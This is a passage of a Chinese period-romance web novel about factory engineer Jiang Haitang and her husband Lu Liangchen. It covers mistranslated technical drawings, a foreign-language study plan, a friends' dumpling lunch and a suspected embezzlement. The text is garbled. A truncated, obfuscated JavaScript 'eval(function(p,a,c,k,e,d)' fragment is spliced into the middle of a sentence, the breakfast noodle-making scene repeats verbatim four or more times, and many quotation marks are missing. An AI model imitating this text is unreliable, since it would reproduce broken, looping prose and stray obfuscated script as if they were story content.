“不用这么兴师动众……” “这是命令,不是商量!”陆良辰板起脸,“不光为你,也为了厂里的重点项目。你要是累倒了,耽误的可是国家任务。” 姜海棠忽然觉得,这个男人在面对这个问题的时候,是有些不讲理的,为了避免被继续说教,她立即拉着陆良辰去食堂。 出门的时候,看到黎景程和段长河,陆良辰说:“一起去食堂?” 二人看着黑着脸的陆厂长,哪里愿意,立即表示还需要稍微等一下才能去食堂。 “我交给你们一个任务,明天开始,务必监督姜工的作息,该吃饭吃饭,该休息休息。” 二人自然没有不同意的,他们也觉得,姜工实在是太不拿身体当回事了。 今天才复工第一天,就熬了整整一天,他们两个大小伙子都熬不住了。 陆良辰带着姜海棠很快到了食堂,张大师傅看到姜海棠,笑得越发慈祥了。 “哎呦,海棠啊,你怎么瘦了这么多?是不是外国鬼子的饭不好吃?要我说,还是咱们的饭菜好吃,来来来,今天晚上正好有你喜欢的排骨,我给你打一份,补补身体……” 张尚文一叠声的话都是关心姜海棠的,姜海棠心里暖暖的:“张叔,我在国外给您带了礼物,就是今天太忙了,没给您送过来,改天我忙完了,给您送过来。” “哎呀,出去一趟不容易,给自己买点东西多好,怎么还惦记着我这个老头子。” 姜海棠笑着说:“您对我好,我自然要对您好。” 张尚文看着一旁的陆良辰黑着一张脸,又问:“咋了?陆厂长,是海棠这闺女和你吵了?咱是大男人,可不能跟女人吵架,心疼出来的媳妇才会心疼人!” 陆良辰气呼呼地瞪了一眼姜海棠,对张尚文开始诉苦。 “张叔啊,您是不知道,她今天忙了一整天,都没吃饭,本来身体就不好,这么熬下去,可不是要熬坏了?” 张尚文没想到,陆良辰气呼呼的是因为这个,也立即对姜海棠说:“海棠啊,你这样可不行,以后一日三餐必须吃,你要是没见识吃,就来食堂,我指定把你养得胖胖的。” 姜海棠都无语了,她觉得自己的伤已经好了,又不是失血过多,犯不着天天补养。 “陆厂长啊,要不,您想法子给她定一份牛奶?那玩意儿可补人呢。” 二人你一言我一语地商量着,姜海棠索性直接端着饭盒去吃饭了。 今天中午没吃饭,这会儿可是饿得不行了。 看到姜海棠认认真真的吃饭,陆良辰心里的气消了不少,也跟着坐了过去。 陆良辰也端着一个饭盒吃饭,不过,他将碗里大部分的肉都夹到了姜海棠的碗里。 “多吃点!” 张尚文看着这对新婚小夫妻这丫和睦,忍不住露出了老父亲一般的微笑。 吃完饭回到家里,姜海棠坚持要完成最后一点校对工作。 陆良辰没再阻拦,而是坐在一旁安静地等着,时不时递上一杯热水。 小桃子今晚又是在隔壁吃的晚饭,吃完晚饭回来的时候,手里还抱着一个圆鼓鼓的洋柿子。 等忙完了工作,姜海棠照顾小桃子睡觉之后,才向陆良辰说起今天的工作之所以用了这么长时间,主要是翻译的问题。 第260章 我老毛做的最正确的事 陆良辰听完姜海棠讲述的翻译错误问题,眉头渐渐拧成一个结。 “这个问题比想象的严重。”他声音低沉,手指轻轻敲击着桌面,“如果关键参数都能出错,其他图纸恐怕也有隐患。” 姜海棠倒了杯热水递给他:“我暂时没发现其他错误,但确实不能完全依赖翻译组,咱们的翻译水平确实需要加钱。” 陆良辰接过水杯,忽然握住她的手:“海棠,我有个想法。” 他眼中闪烁着锐利的光芒,“第一,明天起成立技术翻译核查小组,由你牵头,把厂里所有进口设备的图纸重新核对;第二,组织技术骨干学习基础外语,至少要能看懂技术参数。” 姜海棠眼睛一亮:“这个办法好!其实很多专业词汇并不难,突击培训三个月就能掌握基本阅读能力。” “第三,”陆良辰继续道,手指无意识地摩挲着杯沿,“这件事要上报工业厅。我觉得,这样的问题,肯定不会只出现在我们一个厂,或许,其他兄弟厂,也有这样的问题和风险。” 这个问题,不光陆良辰想到了,姜海棠其实也想到了。 这些年,国家对人才的轻视,导致了现在的许多人并不足以承担相应的工作。 “你说得对,这样的情况,必须要提前防范,今天如果不是我贸然猜测是翻译出问题,或许还要走许多的弯路。” “我怎么这么好运,娶了你这么漂亮还能干的媳妇儿呢?毛厂长要羡慕死了!”陆良辰促狭地笑着。 这老头儿总想着把海棠挖到他们机械厂去,想什么美事儿呢?夫唱妇随都不懂! 陆良辰忽然转身出去,很快端着一盆热水进来说:“工作的事,咱们明天再说,现在泡脚之后休息!” 姜海棠却摇摇头:“时间还早,要不我整理一下文件……” 陆良辰看着妻子疲惫却坚定的眼神,好气又好笑,还有点心疼。 他伸手将她拉进怀里:“我的海棠同志啊,工作,咱们明天再做,今天你已经工作了超过十个小时了。” 没打算让姜海棠继续工作,陆良辰二话不说,给姜海棠除了鞋袜,让她泡脚。 “这种事,以后我来,你不用……” “我们是夫妻,谁照顾谁都是一样的,我累的时候,你帮我打洗脚水,你累了的时候,我照顾你!” 姜海棠今天确实累了,便也不多说。 等泡完脚,陆良辰直接将她打横抱起,轻轻放在床上:“从现在开始,安心睡觉,这是厂长的命令!” 姜海棠看着他忙碌的背影,心里暖融融的:“陆厂长,你这算不算以权谋私啊?” 陆良辰转身,故意板起脸:“这叫关心职工生活。” 说着坐到床边,轻轻按摩她太阳穴。 在温柔的按摩中,姜海棠无比安心地睡着了。 陆良辰轻轻关上台灯,只有月光透过窗帘的缝隙洒进来,在地板上画出一道银色的线。 他俯身在妻子额头落下一个吻,上床睡觉。 翌日一早,姜海棠醒来后,要起床做早饭,被陆良辰制止了。 “我从食堂打回来,你再休息一会儿。” 姜海棠顺从地躺在床上,晨光透过窗帘的缝隙,恰好勾勒出正在穿衣的陆良辰的轮廓。 他背对着她系扣子,肩胛骨的线条随着动作在棉质衬衫下若隐若现,常年的锻炼,练就的腰背肌肉将布料撑出好看的弧度。 姜海棠没忍住咽了下口水。 这个男人,真招人! 姜海棠觉得,结婚之后,她好像越来越难以把持了! “看什么呢?”陆良辰突然转身,晨光在他结实的胸膛上投下细碎的光斑。 发现妻子含笑的眼眸,他还有什么不明白的。 不过,这可不是个会害羞的主儿,他凑近姜海棠的耳边轻声问:“可还满意?” 姜海棠被他这么一撩拨,耳根立刻红了。 她不想回答这个问题,但显然陆良辰非要让她回答。 “我家陆厂长比电影明星还精神。”姜海棠支着下巴红着脸回答。 陆良辰哦了一声,眼底眉梢都是得意:“那就是满意了!很荣幸姜工能满意!” 姜海棠瞪了他一眼,道:“不是要去打饭回来,赶紧去!” 陆良辰轻咳一声,弯腰给她掖被角,手臂肌肉绷出流畅的线条,有意无意地在她眼前晃。 “遵命,我这就去,你再睡会儿。”他声音比平时软三分,带着温柔的笑意出门离开。 听着脚步声远去,姜海棠把脸埋进带着枕头里。 这个男人,随时随地都对他展现男性荷尔蒙! 二十分钟后,陆良辰端着饭盒回来,小桃子也已经起床了,小姑娘自己穿好了衣服。 “妈妈!爸爸带早饭回来了哦!”小桃子脆生生地招呼着。 “张师傅特意多给了两个鸡蛋,点明是给你的!”陆良辰将其中一个饭盒打开,里面果然有两个煎蛋。 他把这两个鸡蛋放进她碗里。 姜海棠忙说:“我们一起吃,我身体好着呢,不用专门补。” 最后,小桃子吃了半个,陆良辰吃了半个,姜海棠吃了一个。 饭后收拾碗筷,陆良辰忽然问:“我打算今天上午开会讨论翻译小组的事,你要不要一起来?” 姜海棠正给小桃子扎辫子,抬头时发现丈夫站姿笔挺如青松,这是当兵时养成的习惯,哪怕不穿军装了,也透着一股精气神。 “合适吗?” “当然合适,咱们厂里,说谁翻译得好,肯定是你。我这个厂长可是很民主的。” 陆良辰可一点都不觉得自己有假公济私的嫌疑,反而觉得,自己这是举贤不避亲。 送走小桃子,两人并肩走在厂区。 “我今天得去一趟机械厂,我最近梳理出来的不少资料可以给机械厂学习,还有,我也想看看机械厂那边是不是也有翻译方面的问题,提前给毛厂长提个醒!” 姜海棠将自己今天的计划对陆良辰简单的说了一下。 “也行,那我们厂里的会初步定到下午,等下让小吴送你去机械厂,中午回来吃饭!”陆良辰多叮嘱了几句。 毛厂长对于这样的情况也十分重视。 机械厂也确实缺翻译人员,所有进口的机械都是依靠省上统一安排翻译小组翻译说明书和图纸的。 “海棠啊,我们厂之前应该也有类似的问题,不过没有引起足够的重视。” “普通技术工人,根本看不懂外语。”姜海棠苦笑,“我们也不敢大规模地组织人学习外语。” “海棠,这事给我们提了个醒,技术要发展,不能闭目塞听。我想……能不能在厂里悄悄组织个外语学习小组?如果外面有人知道了,就说是为了秋季广交会准备的,毕竟我们厂今年的春季广交会取得了十分好的成绩!” “倒是也可以,不学外语,就永远要依赖别人的翻译。翻译小组的人或许很专业,但是,对于部分专业术语的掌握就明显不足了。” 说完了这件事,姜海棠又将自己最近梳理出来的一部分资料交给毛厂长。 “这是我这一次去国外学习之后,自己梳理汇总出来的一些资料,或许对咱们厂的发展有用。” 毛厂长知道,姜海棠虽然是挂着机械厂的名义,跟着周副部长去的国外,可实际上,这是姜海棠同志自己能力出众得到的机会,和机械厂没关系。 但姜海棠能为机械厂提供这么多的资料,那机械厂妥妥地占便宜了。 “海棠同志啊,我老毛做得最正确的一件事,就是让你来我们机械厂兼职。” 当初,他力排众议让姜海棠来机械厂兼职的时候,厂里的人其实是有些不满意的。 好在他力排众议,将这件事定了下来。 现在看,姜海棠对厂里可是居功至伟,这个兼职人员的价值,比一个全职的人价值还要高出很多。 “毛厂长,您和机械厂的恩情,我记在心里呢,要不是您,我可拿不到两个十七级的工资待遇,要不是您在关键时候保护我,吃亏是免不了的。” 姜海棠说得很诚恳,之前被打压的时候,陆良辰不在,亏得毛厂长出面,才将事情解决了。 这老头儿,真的是一个非常好的人。 “以前还总想着,怎么把你彻底挖过来,以后啊,我彻底断了这个念想。对了,说起来,你们新婚,我和厂里都不能没有表示。” 听到毛厂长说起不能没有表示,姜海棠忙摆手拒绝:“不用不用。” “怎么不用,我们机械厂的中流砥柱结婚,厂里怎么能不表示表示,你放心,厂里班子讨论过的。” 说着,毛厂长从抽屉里拿出一个信封给姜海棠。 “就是些过日子能用得上的票据,你不用不好意思。” 姜海棠只能谢过毛厂长,听到姜海棠立刻就要回去,毛厂长还真有些舍不得。 “要不,今天中午就在我们机械厂吃饭,我们机械厂的食堂,可不比纺织厂差。” “多谢您,只是,我现在也是拉家带口的人,得回去了。” 回到纺织厂,还没到下班时间,姜海棠和研发部门的几个人一起开个短会,说了一下翻译上存在的一些问题。 并给他们提供了修改过的图纸。 第261章 能有什么感觉 忙完这些姜海棠看了一下已经中午了。 因为问题已经得到解决姜海棠心里轻松因此想着回家给陆良辰和小桃子做饭。 刚走出办公室的门就看到了康小夏。 “小夏你怎么过来了?”姜海棠看到康小夏的时候脸上的笑容越发灿烂了起来。 她也是有些日子没见到康小夏了因此亲亲热**拉住康小夏的手。 “我今天正好有事外出路过供销社的时候买了一斤肉走我们上你家包饺子去。”康小夏给姜海棠看自己带来的肉。 姜海棠笑着说:“我还想着等周末了去买点肉回来呢你这就送过来了。” “正好路过我手里还有好几张肉票没用呢。”康小夏笑眼弯弯 “你和赵凯怎么样了?我让人捎信让赵凯一起来吃饭。”姜海棠建议。 康小夏没有拒绝。 她和赵凯两个人谈对象也有些时间了不过因为年龄不到还要再等等。 正好有路过的工人姜海棠请人帮忙给赵凯捎信然后和康小夏两个人手牵手地回家去了。 康小夏看着姜海棠直接打开陆良辰的家属院的门这才想起来两个人已经搬到一起住了。 “院子里的韭菜长得不错我们割一把韭菜中午就是韭菜肉馅儿的饺子。” “行我最喜欢吃韭菜饺子了。”康小夏回答了一句附在姜海棠耳边说:“新婚生活怎么样?陆厂长对你好不好?” 姜海棠耳根一热轻轻推了她一把:“真是脸皮厚没结婚呢就说这个。” 康小夏却拍手说道:“陆厂长对你肯定好全厂的人都能看出来。啧啧啧这空气里都是你们两口子黏黏腻腻的味道。” “你呀!赶紧去后院割韭菜去。”姜海棠红着脸给康小夏手里塞了一把菜刀:“再胡说就不给你吃饺子了!” 康小夏大笑着拿着菜刀去了后院不多时候就抱着一把韭菜回来了。 “你家的菜的长势不错。”康小夏夸赞说道:“我什么时候才能申请一个小院子住啊。” 说不羡慕那是假的可是康小夏清楚自己的本事有限肯定没有办法和姜海棠一样早早就得了一个院子。 “你不能申请小院子不要紧让赵凯申请一套啊。”姜海棠正在洗手打算和面因听到康小夏的话给了一个建议。 “也不知道还有没有院子要是能申请个小院子平日里开支也能 小一些。 她和赵凯两个人,都住在集体宿舍,没有办法开火,一个月的工资光是吃饭就要用去不少。 “其他院子好像没有了,不过,我搬走了,旁边这个小院子还在。 这个院子,不太适合一家子人一起住,但如果赵凯现在未婚,是一个人,申请的话,倒是可以。 康小夏觉得,这样也挺好,海棠那个院子,她也是知道的,虽然只有一间房,但是带着厨房和后院的,能种点儿菜,也能做饭。 “等会儿吃饭的时候,你和赵凯商量商量,要是行,就抓紧时间打报告,估计,这院子看上的人还有。 两个人一个摘菜,一个和面,说着闲话,这时候,院子门“吱呀一声被推开了。 姜海棠隔着窗户看过去,是陆良辰和赵凯回来了。 赵凯拎着几瓶橘子汽水,和陆良辰两个人说说笑笑的。 “嫂子,今天给我们做什么好吃的?赵凯不等陆良辰说话,已经扬声问。 “赶紧洗手帮忙,就等着吃呢?陆良辰捶了赵凯一把。 “是,我这就去帮忙。 姜海棠笑着说:“你们先休息一会儿,我们中午包饺子吃,很快的。 “家里有肉吗?陆良辰问。 “有,小夏买的。 陆良辰立即对赵凯说:“剁肉馅儿会不会? 赵凯立即说:“剁肉馅这事儿交给我。 说着,他熟门熟路地跑过去洗手。 “我和小夏忙就行了。姜海棠忙客气道。 “那可不行,吃饭就得帮忙,我给咱们扒蒜。 赵凯很是不服气地问:“团长,为啥你就只扒蒜,我就得剁肉馅? “不乐意?不乐意就别想吃饺子,我可不舍得我媳妇忙!陆良辰嫌弃地瞪了赵凯一眼:“就你这样,啥时候才能有媳妇? 赵凯委屈地看了一眼正在憋着笑的康小夏,才结婚就显摆,有啥好显摆的? 当他没有嘛?只是小夏年龄不够…… “小夏…… “别娘不唧唧的,你要结婚还要等好些时候呢。陆良辰才不给他装可怜的机会。 几个人一起动手,小桃子回来后,也没闲着,主动帮(倒)忙。 很快,饺子就包好了。 吃饭的时候,康小夏问起赵凯有没有申请家属院的想法。 赵凯先是大大咧咧地回答:“我们结婚还要等等,申请家属院也没用…… 陆良辰 很是嫌弃地打断他的话:“活该你没媳妇! 赵凯这才反应过来,立即拍拍脑袋说道:“我可真是糊涂了,陆厂长,我这个资格,申请隔壁这个小院子行不? 他没有结婚,理论上来说,是不可以申请单独的院子,但他现在是副厂长,也算厂里重要的领导之一,肯定有资格。 “你回头写个申请交上去,把这事儿给定下来,海棠在后院种了好些个菜呢,你操心着点儿,别浪费了。 陆良辰一边吃饺子,一边叮嘱赵凯。 吃完饭,赵凯和陆良辰两个在一起讨论下午开会的内容。 学习外语,这事儿风险太大了。 赵凯觉得,即便是不组织学习外语,对于陆良辰这个厂长来说,也是没影响的。 但陆良辰觉得,学习外语虽然有风险,但是对于厂里长远考虑是有很大好处的。 “不光是风险问题,现在咱们厂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不过,康小夏问的这个问题,对于她来说,有些难以启齿,只要想着两夫妻之间那些事,她脸上飞起两朵红云,为了掩饰尴尬,她拿起蒲扇使劲扇了扇。 “能有什么感觉,就是……就是过日子呗。” 瞥见康小夏因为她这个形容而失望的表情,又小声补充,“不过良辰他……确实很体贴。” 康小夏立刻来了精神:“怎么个体贴法?快说说!” 姜海棠想起昨晚丈夫给她洗脚时轻柔的动作,还有同床共枕时候的体贴温柔,心里泛起一阵甜蜜。 但她哪好意思说这些,只含糊道:“就是……知道心疼人。” “哎呀,你这说了等于没说!”康小夏急得直跺脚,“我是问……那个……” 她做了个含糊的手势,脸比姜海棠还红。 她凑得更近,“我听说结婚后第一次会疼,真的吗?” 姜海棠想起新婚之夜陆良辰紧张得满头大汗的样子,还有他笨拙却温柔的安抚…… “其实……也没那么可怕。”姜海棠声音细如蚊呐,“只要男人心疼人……” 说到这里,她说不下去了,“哎呀,我跟你说这些做什么!等你结婚自然就知道了!” 两个姑娘笑闹一阵,康小夏突然正经起来:“说真的,海棠,我有点怕。” “怕什么?” 第262章 有人卷款 “怕结婚后……”康小夏绞着手指。 “赵凯是个很不错的小伙子,以后,你们要是结婚了,应该很好。” 在姜海棠看来,赵凯和陆良辰应该是同一种人,这样的人,虽然外表看着粗,可是骨子里应该是很细心体贴的。 “赵凯现在对我百依百顺,可谁知道以后呢?你看车间王大姐,结婚前她爱人天天送饭,现在动不动就吵架……” 姜海棠握住好友的手,她们两个其实同病相怜,都属于没有人教导夫妻相处之道的人。 可不管怎么说,日子都是摸索着过起来的。 “两口子过日子,其实,只要真心为彼此着想,就不会有太大的分歧。再就是家里人很重要,赵凯家里我听良辰说很不错,等什么时候,你见到了,再自己观察观察。” 康小夏若有所思:“那……那方面呢?要是……要是不和谐怎么办?” 她也听一起的大姐大娘们说了,结婚之后,夫妻之间的那些事,也很要紧,要是不和谐,影响感情。 姜海棠红着脸戳她额头:“你呀,尽想这些!不过我觉得,这事就像调试机器,磨合一段时间就好了……” “哎呀!原来你和陆厂长是这样磨合的呀,难怪陆厂长上班的时候,显得有些萎靡不振……”康小夏做了个恍然大悟的表情,打趣姜海棠 姜海棠又羞又急,抄起扫炕笤帚就要打,康小夏笑着躲闪,两个姑娘闹作一团。 闹得差不多了,眼看着下午上班时间到了,姜海棠这才给康小夏拿出从D国带回来的礼物。 不是什么值钱的,就是一个漂亮的发夹,紫色的,颜色非常好看。 “真漂亮,难怪都说国外的东西好呢。”康小夏拿在手里来回比划着,看得出来十分喜爱。 “海棠,我给你修了一床被套,还在我宿舍里放着呢,等周末的时候我给你拿过来。”康小夏这时候才想起来,给姜海棠准备的结婚礼物忘了没带过来。 “我这里有……” “你有是你的,这是我的一点心意,你可一定要收下。” 姜海棠不再推辞了,笑着道谢,两个人说好了周末一起去逛街,这才一起去上班。 下午姜海棠回到家里开始做饭,陆良辰一直都没有回来,姜海棠猜测是有着急的事儿。 一直到做好了饭,还不见陆良辰回来,姜海棠只能带着小桃子先吃饭。 到了晚上九点多,陆良辰还没回来,姜海棠实在是着急,便将小桃子交给隔壁刘红梅照看着,自己 去厂办大楼。 厂办大楼上只有零星的几个办公室还亮着灯,陆良辰的办公室就是其中之一。 姜海棠松了一口气,拎着手里的饭盒上楼,很快到了陆良辰的办公室门口。 办公室的门虚掩着,姜海棠听到里面传出说话的声音。 “这绝对不正常!”是赵凯的声音,“同样的铁路维修,为什么只有我们的车皮被扣?其他厂的货物都正常运输!” “财务科查过了吗?”陆良辰语气严肃的问。 “查了,账面上没问题。但老张说,他上个月底看到供销科的林科长私下见过疆省来的采购员。” 姜海棠犹豫着是否该进去。 就在这时,陆良辰似乎察觉到了门外的动静,“谁?进来!” 而赵凯已经飞快的到门口,一把将门给拉开了。 瞧见是姜海棠,办公室的几个人都松了一口气。 “是嫂子啊,怎么这会儿过来了?” “这不是良辰一直没回家,我过来送饭。”姜海棠将手中的饭盒拿起来给赵凯看,“我是不是打扰你们谈工作了?” “不打扰不打扰,正好厂长饿了!” 赵凯一面说,一面冲着陆良辰挤眉弄眼。 谭**脸上都是老父亲一般的笑,就好像看到儿女和睦,他心满意足一样。 赵凯嗅了嗅,夸张的说道:好香啊,嫂子做什么好吃的了? “做了几个韭菜盒子,来,你们都尝尝味道。” “不了不了,都这会儿了,我们也都该回去了。”谭**第一个站起来,秦副厂长立即跟上。 赵凯也说:“我也该回去了。” “你就算了,谭**和秦副厂长回去家里有饭吃,你回去了喝西北风?”陆良辰一面打开饭盒,一面骂道。 赵凯摸摸脑袋,主动坐下来等着吃韭菜盒子。 姜海棠装了满满的一饭盒韭菜盒子,两个大男人你一口我一口的很快就吃完了。 “回家吧,赵凯,明天继续调查,注意方式方法。” 三个人一起从厂办大楼走出来,赵凯朝着宿舍的方向走了,清冷的路上,只剩下陆良辰和姜海棠。 姜海棠看着陆良辰一副疲惫不堪的样子,说道“出什么事了?” 陆良辰揉了揉眉心,“可能有人在中饱私囊。疆省那边说我们拖欠货款,所以暂停发货,但财务记录显示货款早已付清。” “差额有多大?”姜海棠也没忍住拧眉。 “初步估算至少两万 元。” 姜海棠倒吸一口冷气。 两万块钱,这简直是天文数字。 虽然纺织厂现在效益不错,但两万块依然不是个小数目。 “你打算怎么办?” 陆良辰的眼神坚定,“查,一查到底。不过这事得暗中进行,打草惊蛇就不好了。” “我们回来的时候,你不是说你在站台上看到熟人了?”姜海棠想起二人从京城回来时候的事儿,提醒了一句。 陆良辰立即想起来了,确实,当时自己在站台上似乎看到了厂里的人,但当时没多想,只以为眼花了。 他倒是没有问,这两天,厂里的人是不是都在岗。 “海棠,多亏你提醒了我,明天一早,我就让人核实,这段时间谁不在岗。” 陆良辰看了看,周围一个人都没有,他手指轻轻抚过姜海棠的发梢。 昏黄的路灯下,他能清晰地看见感觉到姜海棠瞬间加快的呼吸。姜海棠低着头,睫毛在脸颊上投下一片阴影,呼吸比平时略快了些。 “洗头发了?真香!”陆良辰的声音低沉温柔,将姜海棠的长发在手中把玩。 姜海棠感受着他手指穿过发丝的触感,心跳如擂鼓。 “我们还在外面!”姜海棠提醒陆良辰,这个人,真是越来越大胆了,被人看到,可要羞**了。 陆良辰顺从的松开了姜海棠的头发,但又顺势握住了她的手。 他掌心的茧子轻轻刮蹭着她柔软的手背,带来一阵微妙的酥麻。 “怕什么,我们是名正言顺的夫妻,国家认证过的。” 姜海棠无奈,只能由着他,好在,陆良辰也不是没分寸的,很快就松开了姜海棠的手。 两个人肩并着肩往家属院的方向走,路灯将他们的影子拉扯又缩短,但两个人之间的距离一直都很近。 到了家属院,二人直接去隔壁刘红梅家里接小桃子。 小丫头玩的满头大汗,看到了爸爸妈妈,蹦蹦跳跳地迎上来。 “爸爸!妈妈!” “小桃子,和奶奶、刘阿姨还有哥哥姐姐们说再见,咱们回家了!” 姜海棠提醒了姜海棠之后,又向刘红梅和孔大娘道谢,几个人说了两句闲话,才各自关门回家。 一宿无话,清晨五点,天刚蒙蒙亮,姜海棠就轻手轻脚地起床了。 她回头看了眼熟睡中的陆良辰,他眉头紧锁,即使在睡梦中也不得安宁。 昨晚他辗转反侧到凌晨,显然被厂里的问题困扰得 不轻。 厨房里,姜海棠熟练地拨开蜂窝煤炉的风门,蓝幽幽的火苗立刻窜了上来。 她弯腰从橱柜深处取出一个搪瓷盆,用面碗舀上富强粉,然后慢慢的在面粉中倒入温水。 姜海棠纤细的带着薄茧的手握着筷子在面粉中划着圈,很快,干燥的面粉变成了一个个面疙瘩。 她开始下手揉面,几分钟后盆子里的面逐渐变成一个光滑的面团。 姜海棠将面团从面盆里拿出来,在案板上用力的揉。 面团在她掌心翻飞,被她压成一个圆片后,姜海棠开始擀面。 擀面杖在案板上滚过,面团渐渐变成一张薄如蝉翼的面皮。 姜海棠的额头渗出细密的汗珠,一缕碎发粘在颊边。她随手用胳膊蹭了蹭,将面皮叠成几层,菜刀“笃笃”地落下,切出一根根细细的面条。 炉子上的铝锅冒着热气,水花翻滚。 姜海棠抓起切好的面条抖了抖,然后将一把面条都丢在锅里,用筷子搅一搅,面条像游鱼般在锅里打着转。 趁煮面的功夫,她从碗柜取出两个蓝边粗瓷大碗。 淋上酱油、陈醋,放两大勺之前炒好的素臊子,舀半勺自制的辣椒油,最后将滚烫的面汤冲进碗里,顿时激出一股酸辣鲜香的热气。 面条煮得恰到好处,姜海棠麻利地把面条捞进碗里,青白相间的葱花往上一撒,又滴了两滴香油。 一碗陆良辰最喜欢吃的酸汤面就做好了。 而这时候,陆良辰也已经起床了。 “真香!有媳妇就是好!”陆良辰走到厨房里,笑盈盈的抱住姜海棠的腰,在她耳旁轻语。 “别腻歪了,赶紧吃饭。”姜海棠掰开陆良辰的手,将一大碗的面条塞到他手里。 陆良辰在两个人错身的时候,在她面颊上亲了一口,然后朝外喊:“小桃子,收拾好了吗?吃饭了。” “妈妈,爸爸,我来了!” 不轻。 厨房里,姜海棠熟练地拨开蜂窝煤炉的风门,蓝幽幽的火苗立刻窜了上来。 她弯腰从橱柜深处取出一个搪瓷盆,用面碗舀上富强粉,然后慢慢的在面粉中倒入温水。 姜海棠纤细的带着薄茧的手握着筷子在面粉中划着圈,很快,干燥的面粉变成了一个个面疙瘩。 她开始下手揉面,几分钟后盆子里的面逐渐变成一个光滑的面团。 姜海棠将面团从面盆里拿出来,在案板上用力的揉。 面团在她掌心翻飞,被她压成一个圆片后,姜海棠开始擀面。 擀面杖在案板上滚过,面团渐渐变成一张薄如蝉翼的面皮。 姜海棠的额头渗出细密的汗珠,一缕碎发粘在颊边。她随手用胳膊蹭了蹭,将面皮叠成几层,菜刀“笃笃”地落下,切出一根根细细的面条。 炉子上的铝锅冒着热气,水花翻滚。 姜海棠抓起切好的面条抖了抖,然后将一把面条都丢在锅里,用筷子搅一搅,面条像游鱼般在锅里打着转。 趁煮面的功夫,她从碗柜取出两个蓝边粗瓷大碗。 淋上酱油、陈醋,放两大勺之前炒好的素臊子,舀半勺自制的辣椒油,最后将滚烫的面汤冲进碗里,顿时激出一股酸辣鲜香的热气。 面条煮得恰到好处,姜海棠麻利地把面条捞进碗里,青白相间的葱花往上一撒,又滴了两滴香油。 一碗陆良辰最喜欢吃的酸汤面就做好了。 而这时候,陆良辰也已经起床了。 “真香!有媳妇就是好!”陆良辰走到厨房里,笑盈盈的抱住姜海棠的腰,在她耳旁轻语。 “别腻歪了,赶紧吃饭。”姜海棠掰开陆良辰的手,将一大碗的面条塞到他手里。 陆良辰在两个人错身的时候,在她面颊上亲了一口,然后朝外喊:“小桃子,收拾好了吗?吃饭了。” “妈妈,爸爸,我来了!” 不轻。 厨房里,姜海棠熟练地拨开蜂窝煤炉的风门,蓝幽幽的火苗立刻窜了上来。 她弯腰从橱柜深处取出一个搪瓷盆,用面碗舀上富强粉,然后慢慢的在面粉中倒入温水。 姜海棠纤细的带着薄茧的手握着筷子在面粉中划着圈,很快,干燥的面粉变成了一个个面疙瘩。 她开始下手揉面,几分钟后盆子里的面逐渐变成一个光滑的面团。 姜海棠将面团从面盆里拿出来,在案板上用力的揉。 面团在她掌心翻飞,被她压成一个圆片后,姜海棠开始擀面。 擀面杖在案板上滚过,面团渐渐变成一张薄如蝉翼的面皮。 姜海棠的额头渗出细密的汗珠,一缕碎发粘在颊边。她随手用胳膊蹭了蹭,将面皮叠成几层,菜刀“笃笃”地落下,切出一根根细细的面条。 炉子上的铝锅冒着热气,水花翻滚。 姜海棠抓起切好的面条抖了抖,然后将一把面条都丢在锅里,用筷子搅一搅,面条像游鱼般在锅里打着转。 趁煮面的功夫,她从碗柜取出两个蓝边粗瓷大碗。 淋上酱油、陈醋,放两大勺之前炒好的素臊子,舀半勺自制的辣椒油,最后将滚烫的面汤冲进碗里,顿时激出一股酸辣鲜香的热气。 面条煮得恰到好处,姜海棠麻利地把面条捞进碗里,青 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擀面杖在案板上滚过,面团渐渐变成一张薄如蝉翼的面皮。 姜海棠的额头渗出细密的汗珠,一缕碎发粘在颊边。她随手用胳膊蹭了蹭,将面皮叠成几层,菜刀“笃笃”地落下,切出一根根细细的面条。 炉子上的铝锅冒着热气,水花翻滚。 姜海棠抓起切好的面条抖了抖,然后将一把面条都丢在锅里,用筷子搅一搅,面条像游鱼般在锅里打着转。 趁煮面的功夫,她从碗柜取出两个蓝边粗瓷大碗。 淋上酱油、陈醋,放两大勺之前炒好的素臊子,舀半勺自制的辣椒油,最后将滚烫的面汤冲进碗里,顿时激出一股酸辣鲜香的热气。 面条煮得恰到好处,姜海棠麻利地把面条捞进碗里,青白相间的葱花往上一撒,又滴了两滴香油。 一碗陆良辰最喜欢吃的酸汤面就做好了。 而这时候,陆良辰也已经起床了。 “真香!有媳妇就是好!”陆良辰走到厨房里,笑盈盈的抱住姜海棠的腰,在她耳旁轻语。 “别腻歪了,赶紧吃饭。”姜海棠掰开陆良辰的手,将一大碗的面条塞到他手里。 陆良辰在两个人错身的时候,在她面颊上亲了一口,然后朝外喊:“小桃子,收拾好了吗?吃饭了。” “妈妈,爸爸,我来了!” 不轻。 厨房里,姜海棠熟练地拨开蜂窝煤炉的风门,蓝幽幽的火苗立刻窜了上来。 她弯腰从橱柜深处取出一个搪瓷盆,用面碗舀上富强粉,然后慢慢的在面粉中倒入温水。 姜海棠纤细的带着薄茧的手握着筷子在面粉中划着圈,很快,干燥的面粉变成了一个个面疙瘩。 她开始下手揉面,几分钟后盆子里的面逐渐变成一个光滑的面团。 姜海棠将面团从面盆里拿出来,在案板上用力的揉。 面团在她掌心翻飞,被她压成一个圆片后,姜海棠开始擀面。 擀面杖在案板上滚过,面团渐渐变成一张薄如蝉翼的面皮。 姜海棠的额头渗出细密的汗珠,一缕碎发粘在颊边。她随手用胳膊蹭了蹭,将面皮叠成几层,菜刀“笃笃”地落下,切出一根根细细的面条。 炉子上的铝锅冒着热气,水花翻滚。 姜海棠抓起切好的面条抖了抖,然后将一把面条都丢在锅里,用筷子搅一搅,面条像游鱼般在锅里打着转。 趁煮面的功夫,她从碗柜取出两个蓝边粗瓷大碗。 淋上酱油、陈醋,放两大勺之前炒好的素臊子,舀半勺自制的辣椒油,最后将滚烫的面汤冲进碗里,顿时激出一股酸辣鲜香的热气。 面条煮得恰到好处,姜海棠麻利地把面条捞进碗里,青白相间的葱花往上一撒,又滴了两滴香油。 一碗陆良辰最喜欢吃的酸汤面就做好了。 而这时候,陆良辰也已经起床了。 “真香!有媳妇就是好!”陆良辰走到厨房里,笑盈盈的抱住姜海棠的腰,在她耳旁轻语。 “别腻歪了,赶紧吃饭。”姜海棠掰开陆良辰的手,将一大碗的面条塞到他手里。 陆良辰在两个人错身的时候,在她面颊上亲了一口,然后朝外喊:“小桃子,收拾好了吗?吃饭了。” “妈妈,爸爸,我来了!” 不轻。 